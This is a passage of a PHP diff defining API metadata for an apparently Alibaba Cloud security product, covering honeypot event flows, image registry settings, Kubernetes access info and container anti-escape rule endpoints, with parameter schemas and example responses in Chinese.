], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"427F89F8-6DFE-57CC-9593-3487CA93****\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + 'title' => '上传蜜罐文件，创建并确认记录', + ], + 'ListHoneypotEventFlows' => [ + 'summary' => '获取蜜罐攻击事件详情。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'list', + 'abilityTreeCode' => '129271', + 'abilityTreeNodes' => [ + 'FEATUREsas731ZAS', + ], + ], + 'parameters' => [ + [ + 'name' => 'Dealed', + 'in' => 'query', + 'schema' => [ + 'title' => 'y: 已经处理 n: 未处理 a: 所有', + 'description' => '是否处理。取值：'."\n" + .'- **y**： 已处理 '."\n" + .'- **n**：未处理 '."\n" + .'- **a**：所有', + 'type' => 'string', + 'required' => false, + 'example' => 'n', + ], + ], + [ + 'name' => 'SecurityEventId', + 'in' => 'query', + 'schema' => [ + 'description' => '告警事件的ID。'."\n" + .'>调用[ListHoneypotEvents](~~ListHoneypotEvents~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '7455818', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '指定分页查询时，当前页的页码。默认值为**1**。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '指定分页查询时，每页显示的数据最大条数。每页默认显示的数据条数为100条，PageSize参数值为空时，将默认返回100条数据。'."\n" + .'> 建议PageSize取值不要为空。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'RequestId', + 'in' => 'query', + 'schema' => [ + 'description' => '无效入参。', + 'type' => 'string', + 'required' => false, + 'example' => '9F4E6157-9600-5588-86B9-38F09067****', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PageResult', + 'description' => '分页结果数据。', + 'type' => 'object', + 'properties' => [ + 'HoneypotEventFlows' => [ + 'description' => '攻击时间线列表。', + 'type' => 'array', + 'items' => [ + 'description' => '攻击时间线信息。', + 'type' => 'object', + 'properties' => [ + 'SecurityEventId' => [ + 'title' => '事件表的id', + 'description' => '攻击事件的唯一ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '306527555', + ], + 'HoneypotEventId' => [ + 'description' => '攻击事件ID，字符格式。', + 'type' => 'string', + 'example' => '19bec028-d98b-45c4-a4d9-cc3d593f****', + ], + 'LastTime' => [ + 'description' => '攻击事件最新发生时间，时间戳格式。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1686622222000', + ], + 'FirstTime' => [ + 'description' => '攻击事件首次发生时间，时间戳格式。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1686621122000', + ], + 'EventConnection' => [ + 'description' => '攻击中连接唯一标识ID。', + 'type' => 'string', + 'example' => 'fd7f1ff4-0c4b-41cb-99ad-0724349d****', + ], + 'AgentId' => [ + 'description' => '探针ID。', + 'type' => 'string', + 'example' => 'd3c0dafa-5059-4eb0-8c28-7d40f58*****', + ], + 'AgentName' => [ + 'description' => '探针名称。', + 'type' => 'string', + 'example' => 'hw-d***', + ], + 'HoneypotId' => [ + 'description' => '蜜罐ID。', + 'type' => 'string', + 'example' => '911df9d6fe20451c059edbcffa1d1c33452f6a71e59d4826da067af224*****', + ], + 'HoneypotName' => [ + 'description' => '蜜罐名称。', + 'type' => 'string', + 'example' => 'hw-zhi*****', + ], + 'DockerId' => [ + 'description' => '容器ID。', + 'type' => 'string', + 'example' => 'eca09895****', + ], + 'DstIp' => [ + 'description' => '目的IP。', + 'type' => 'string', + 'example' => '112.126.205.***', + ], + 'DstPort' => [ + 'description' => '目的端口。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '80', + ], + 'SrcIp' => [ + 'description' => '攻击来源IP。', + 'type' => 'string', + 'example' => '121.41.48.***', + ], + 'SrcMac' => [ + 'description' => '攻击来源MAC地址。', + 'type' => 'string', + 'example' => '00:0C:29:CA:**:**', + ], + 'SrcPort' => [ + 'description' => '源端口号。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '80', + ], + 'TypeId' => [ + 'description' => '攻击类型ID。', + 'type' => 'string', + 'example' => 'web_access', + ], + 'RiskLevel' => [ + 'description' => '风险等级。取值：'."\n" + ."\n" + .'- **2**：低风险等级。'."\n" + .'- **3**：中风险等级。'."\n" + .'- **4**：高风险等级。', + 'type' => 'string', + 'example' => '4', + ], + 'Extra' => [ + 'description' => '攻击载荷的扩展信息。', + 'type' => 'string', + 'example' => '{\\"payload\\":{\\"format\\":\\"line\\",\\"name\\":{\\"cn\\":\\"攻击载荷\\",\\"en\\":\\"payload\\"},\\"value\\":\\"\\"},\\"uid\\":{\\"format\\":\\"line\\",\\"name\\":{\\"cn\\":\\"\\",\\"en\\":\\"\\"},\\"uid\\":\\"5fa2ece9-aa08-4bbd-a272-5d27*********\\",\\"value\\":\\"\\"}}', + ], + 'Extra1' => [ + 'description' => 'VPC拓展信息。', + 'type' => 'string', + 'example' => '{\\"vpc_id\\":\\"\\",\\"vpc_dest_port\\":\\"\\",\\"vpc_dest_ip\\":\\"\\"}', + ], + 'Uid' => [ + 'description' => '攻击事件中的一次攻击行为的唯一ID。', + 'type' => 'string', + 'example' => '5fa2ece9-aa08-4bbd-a272-5d27d1c6*****', + ], + 'Status' => [ + 'description' => '攻击事件处理状态。取值：'."\n" + ."\n" + .'- **1**：待处理。'."\n" + .'- **2**：已忽略。'."\n" + .'- **4**：已确认。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'FileOssUrl' => [ + 'description' => '文件的OSS地址。', + 'type' => 'string', + 'example' => 'https://pop-test-file-upload.oss-cn-beijing.aliyuncs.com/5626_26331*****', + ], + ], + ], + ], + 'PageInfo' => [ + 'description' => '分页查询时的页面信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '数据的总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '78', + ], + 'Count' => [ + 'description' => '当前页显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + ], + ], + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + .'- **true**：成功'."\n" + .'- **false**：失败', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '请求结果返回信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '9F4E6157-9600-5588-86B9-38F09067****', + ], + 'HttpStatusCode' => [ + 'description' => 'HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'IllegalParam', + 'errorMessage' => 'Illegal param', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"HoneypotEventFlows\\": [\\n {\\n \\"SecurityEventId\\": 306527555,\\n \\"HoneypotEventId\\": \\"19bec028-d98b-45c4-a4d9-cc3d593f****\\",\\n \\"LastTime\\": 1686622222000,\\n \\"FirstTime\\": 1686621122000,\\n \\"EventConnection\\": \\"fd7f1ff4-0c4b-41cb-99ad-0724349d****\\",\\n \\"AgentId\\": \\"d3c0dafa-5059-4eb0-8c28-7d40f58*****\\",\\n \\"AgentName\\": \\"hw-d***\\",\\n \\"HoneypotId\\": \\"911df9d6fe20451c059edbcffa1d1c33452f6a71e59d4826da067af224*****\\",\\n \\"HoneypotName\\": \\"hw-zhi*****\\",\\n \\"DockerId\\": \\"eca09895****\\",\\n \\"DstIp\\": \\"112.126.205.***\\",\\n \\"DstPort\\": 80,\\n \\"SrcIp\\": \\"121.41.48.***\\",\\n \\"SrcMac\\": \\"00:0C:29:CA:**:**\\",\\n \\"SrcPort\\": 80,\\n \\"TypeId\\": \\"web_access\\",\\n \\"RiskLevel\\": \\"4\\",\\n \\"Extra\\": \\"{\\\\\\\\\\\\\\"payload\\\\\\\\\\\\\\":{\\\\\\\\\\\\\\"format\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"line\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"name\\\\\\\\\\\\\\":{\\\\\\\\\\\\\\"cn\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"攻击载荷\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"en\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"payload\\\\\\\\\\\\\\"},\\\\\\\\\\\\\\"value\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"\\\\\\\\\\\\\\"},\\\\\\\\\\\\\\"uid\\\\\\\\\\\\\\":{\\\\\\\\\\\\\\"format\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"line\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"name\\\\\\\\\\\\\\":{\\\\\\\\\\\\\\"cn\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"en\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"\\\\\\\\\\\\\\"},\\\\\\\\\\\\\\"uid\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"5fa2ece9-aa08-4bbd-a272-5d27*********\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"value\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"\\\\\\\\\\\\\\"}}\\",\\n \\"Extra1\\": \\"{\\\\\\\\\\\\\\"vpc_id\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"vpc_dest_port\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"vpc_dest_ip\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"\\\\\\\\\\\\\\"}\\",\\n \\"Uid\\": \\"5fa2ece9-aa08-4bbd-a272-5d27d1c6*****\\",\\n \\"Status\\": 1,\\n \\"FileOssUrl\\": \\"https://pop-test-file-upload.oss-cn-beijing.aliyuncs.com/5626_26331*****\\"\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 78,\\n \\"Count\\": 20\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"9F4E6157-9600-5588-86B9-38F09067****\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + 'title' => '获取蜜罐攻击时间流', + ], + 'ModifyImageRegistry' => [ + 'summary' => '修改镜像仓传输时间配置。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + ], + 'parameters' => [ + [ + 'name' => 'Id', + 'in' => 'formData', + 'schema' => [ + 'title' => '镜像仓id', + 'description' => '镜像仓ID， 通过[ListImageRegistry](~~471986~~)接口获取镜像仓ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '390103286', + ], + ], + [ + 'name' => 'UserName', + 'in' => 'formData', + 'schema' => [ + 'title' => '用户名', + 'description' => '用户名。', + 'type' => 'string', + 'required' => false, + 'example' => 'xxxx', + ], + ], + [ + 'name' => 'Password', + 'in' => 'formData', + 'schema' => [ + 'title' => '密码', + 'description' => '密码。', + 'type' => 'string', + 'required' => false, + 'example' => '********************', + ], + ], + [ + 'name' => 'TransPerHour', + 'in' => 'formData', + 'schema' => [ + 'title' => '每小时扫描的镜像数', + 'description' => '每小时扫描的镜像数。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '10', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'title' => 'PlainResult', + 'description' => 'PlainResult', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '无', + 'type' => 'any', + 'example' => '无', + ], + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + .'- **true** ：成功 '."\n" + .'- **false** ：失败', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '接口状态码。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '错误信息。', + 'type' => 'string', + 'example' => 'success', + ], + 'RequestId' => [ + 'description' => '阿里云为该请求生成的唯一标识符。', + 'type' => 'string', + 'example' => '379a9b8f-107b-4630-9e95-2299a1ea****', + ], + 'HttpStatusCode' => [ + 'description' => '状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + 'TimeCost' => [ + 'description' => '执行时长。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": \\"无\\",\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"success\\",\\n \\"RequestId\\": \\"379a9b8f-107b-4630-9e95-2299a1ea****\\",\\n \\"HttpStatusCode\\": 200,\\n \\"TimeCost\\": 1\\n}","type":"json"}]', + 'title' => '修改镜像仓配置', + ], + 'DeleteK8sAccessInfo' => [ + 'summary' => '删除k8s接入信息。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'delete', + 'abilityTreeCode' => '144575', + 'abilityTreeNodes' => [ + 'FEATUREsasA217JR', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'Id', + 'in' => 'query', + 'schema' => [ + 'description' => '接入k8s生成的默认值，通过[GenerateK8sAccessInfo](~~2623602~~)接口获取ID值。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '200', + ], + ], + [ + 'name' => 'AliyunYundunGatewayProjectName', + 'in' => 'query', + 'schema' => [ + 'description' => '该参数已废弃，无需关注。', + 'type' => 'string', + 'required' => false, + 'example' => 'None', + 'default' => 'Sas', + ], + ], + [ + 'name' => 'AliyunYundunGatewayPopName', + 'in' => 'query', + 'schema' => [ + 'description' => '该参数已废弃，无需关注。', + 'type' => 'string', + 'required' => false, + 'example' => 'None', + 'default' => 'Sas.2018-12-03.DeleteK8sAccessInfo', + ], + ], + [ + 'name' => 'AliyunYundunGatewayApiName', + 'in' => 'query', + 'schema' => [ + 'description' => '该参数已废弃，无需关注。', + 'type' => 'string', + 'required' => false, + 'example' => 'None', + 'default' => 'DeleteK8sAccessInfo', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '处理结果。取值：'."\n" + .'- **true**：成功'."\n" + .'- **false**：失败', + 'type' => 'boolean', + 'example' => 'true', + ], + 'RequestId' => [ + 'description' => '阿里云为该请求生成的唯一标识符。', + 'type' => 'string', + 'example' => 'C5338DE5-5D80-51A1-B330-98300AFB80E9', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": true,\\n \\"RequestId\\": \\"C5338DE5-5D80-51A1-B330-98300AFB80E9\\"\\n}","type":"json"}]', + 'title' => '删除k8s接入信息', + ], + 'AddContainerPluginRule' => [ + 'summary' => '增加容器防逃逸规则。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'create', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '152413', + 'abilityTreeNodes' => [ + 'FEATUREsasZLVTBH', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'RuleName', + 'in' => 'query', + 'schema' => [ + 'description' => '规则名称，长度限制为1~80个字符，支持字母、数字、短划线（-）、正斜线（/）、半角句号（.）和下划线（_）这些字符。说明同一个用户内规则名称唯一。', + 'type' => 'string', + 'required' => true, + 'example' => 'tyest111', + ], + ], + [ + 'name' => 'RuleTemplateId', + 'in' => 'query', + 'schema' => [ + 'description' => '规则模板ID。通过ListSystemClientRules获取模板ID。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '86863', + ], + ], + [ + 'name' => 'Mode', + 'in' => 'query', + 'schema' => [ + 'description' => '规则动作模式。取值：'."\n" + .'- **1**：告警'."\n" + .'- **2**：拦截', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '1', + ], + ], + [ + 'name' => 'SelectedPolicy', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '指定启用规则的权限策略信息。', + 'type' => 'array', + 'items' => [ + 'description' => '指定启用规则的权限策略信息。', + 'type' => 'string', + 'required' => false, + 'example' => 'system_triggered_task', + ], + 'required' => true, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'RuleType', + 'in' => 'query', + 'schema' => [ + 'description' => '规则类型。取值：'."\n" + .'- **0**：用户自定义'."\n" + .'- **1**：系统内置', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '0', + 'default' => '0', + ], + ], + [ + 'name' => 'WhiteImages', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '白名单镜像列表。', + 'type' => 'array', + 'items' => [ + 'description' => '白名单镜像。', + 'type' => 'string', + 'required' => false, + 'example' => 'centos', + ], + 'required' => false, + 'maxItems' => 100, + 'minItems' => 1, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => 'Data：自定义结果数据。', + 'type' => 'object', + 'properties' => [ + 'RuleId' => [ + 'description' => '规则ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '219', + ], + 'RuleName' => [ + 'description' => '规则名称。', + 'type' => 'string', + 'example' => 'test2', + ], + 'SwitchId' => [ + 'description' => '对应的开关ID。', + 'type' => 'string', + 'example' => 'USER-CONTAINER-RULE-SWITCH-TYPE_xxxx', + ], + ], + ], + 'RequestId' => [ + 'description' => '阿里云为该请求生成的唯一标识符。', + 'type' => 'string', + 'example' => '24A20733-10A0-4AF6-BE6B-E3322413BB68', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"RuleId\\": 219,\\n \\"RuleName\\": \\"test2\\",\\n \\"SwitchId\\": \\"USER-CONTAINER-RULE-SWITCH-TYPE_xxxx\\"\\n },\\n \\"RequestId\\": \\"24A20733-10A0-4AF6-BE6B-E3322413BB68\\"\\n}","type":"json"}]', + 'title' => '添加容器防逃逸规则', + ], + 'DeleteContainerPluginRule' => [ + 'summary' => '删除容器防逃逸规则。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'systemTags' => [ + 'operationType' => 'delete', + ], + 'parameters' => [ + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型。默认值为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'RuleId', + 'in' => 'query', + 'schema' => [ + 'description' => '规则ID，通过addContainerWebDefenseRule接口获取规则ID。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '200022', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '手动删除容器插件是否成功。取值：'."\n" + .'- **true** ：成功'."\n" + .'- **false** ：失败。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'RequestId' => [ + 'description' => '阿里云为该请求生成的唯一标识符。', + 'type' => 'string', + 'example' => 'A4EB8B1C-1DEC-5E18-BCD0-D1BBB3936FA7', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": true,\\n \\"RequestId\\": \\"A4EB8B1C-1DEC-5E18-BCD0-D1BBB3936FA7\\"\\n}","type":"json"}]', + 'title' => '删除容器防逃逸规则', + ], + 'ModifyContainerPluginRule' => [ + 'summary' => '更改容器防逃逸规则。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'systemTags' => [ + 'operationType' => 'update', + ], + 'parameters' => [ + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'RuleId', + 'in' => 'query', + 'schema' => [ + 'description' => '规则ID。'."\n" + .'> 您可以调用[ListSasContainerWebDefenseRule](~~2623606~~)接口获取该参数。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '100012', + ], + ], + [ + 'name' => 'Mode', + 'in' => 'query', + 'schema' => [ + 'description' => '规则动作模式。取值：'."\n" + .'- **1**：告警'."\n" + .'- **2**：拦截', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'RuleName', + 'in' => 'query', + 'schema' => [ + 'description' => '规则名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'test', + ], + ], + [ + 'name' => 'SelectedPolicy', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '规则项列表。', + 'type' => 'array', + 'items' => [ + 'description' => '规则项。', + 'type' => 'string', + 'required' => false, + 'example' => 'ssh_user_publickey_config', + ], + 'required' => false, + 'maxItems' => 20, + 'minItems' => 1, + ], + ], + [ + 'name' => 'RuleType', + 'in' => 'query', + 'schema' => [ + 'description' => '规则类型。取值：'."\n" + .'- **0**：用户自定义'."\n" + .'- **1**：系统内置', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '0', + 'default' => '0', + ], + ], + [ + 'name' => 'WhiteImages', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '白名单镜像列表。', + 'type' => 'array', + 'items' => [ + 'description' => '白名单镜像。', + 'type' => 'string', + 'required' => false, + 'example' => 'centos', + ], + 'required' => false, + 'maxItems' => 50, + 'minItems' => 1, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '防逃逸规则列表', + 'type' => 'object', + 'properties' => [ + 'RuleId' => [ + 'description' => '规则id。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '600640', + ], + 'RuleName' => [ + 'description' => '规则名称。', + 'type' => 'string', + 'example' => 'test555', + ], + 'SwitchId' => [ + 'description' => '对应的开关id', + 'type' => 'string', + 'example' => 'USER-CONTAINER-RULE-SWITCH-TYPE_xxx', + ], + ], + ], + 'RequestId' => [ + 'description' => '阿里云为该请求生成的唯一标识符。', + 'type' => 'string', + 'example' => 'D03DD0FD-6041-5107-AC00-383E28F1****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"RuleId\\": 600640,\\n \\"RuleName\\": \\"test555\\",\\n \\"SwitchId\\": \\"USER-CONTAINER-RULE-SWITCH-TYPE_xxx\\"\\n },\\n \\"RequestId\\": \\"D03DD0FD-6041-5107-AC00-383E28F1****\\"\\n}","type":"json"}]', + 'title' => '修改容器防逃逸规则', + ], + 'DeleteSasContainerWebDefenseRule' => [ + 'summary' => '删除容器防篡改规则。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'delete', + 'riskType' => 'none', + 'chargeType' => 'free', + ], + 'parameters' => [ + [ + 'name' => 'RuleId', + 'in' => 'query', + 'schema' => [ + 'description' => '规则ID。'."\n" + .'> 您可以调用ListContainerWebDefenseRule接口获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '400597', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '唯一请求ID。', + 'type' => 'string', + 'example' => '7532B7EE-7CE7-5F4D-BF04-B12447DDCAE1', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7532B7EE-7CE7-5F4D-BF04-B12447DDCAE1\\"\\n}","type":"json"}]', + 'title' => '删除容器防篡改规则', + ], + 'ListK8sAccessInfo' => [ + 'summary' => '列表查询K8s接入信息。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'list', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas60Z3AE', + ], + ], + 'parameters' => [ + [ + 'name' => 'AliyunYundunGatewayProjectName', + 'in' => 'query', + 'schema' => [ + 'description' => '该参数已废弃，无需关注。', + 'type' => 'string', + 'required' => false, + 'example' => 'None', + 'default' => 'Sas', + ], + ], + [ + 'name' => 'AliyunYundunGatewayApiName', + 'in' => 'query', + 'schema' => [ + 'description' => '该参数已废弃，无需关注。', + 'type' => 'string', + 'required' => false, + 'example' => 'None', + 'default' => 'ListK8sAccessInfo', + ], + ], + [ + 'name' => 'AliyunYundunGatewayPopName', + 'in' => 'query', + 'schema' => [ + 'description' => '该参数已废弃，无需关注。', + 'type' => 'string', + 'required' => false, + 'example' => 'None', + 'default' => 'Sas.2018-12-03.ListK8sAccessInfo', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型。'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'en', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => '请求ID，可以用来查询执行链路。', + 'description' => 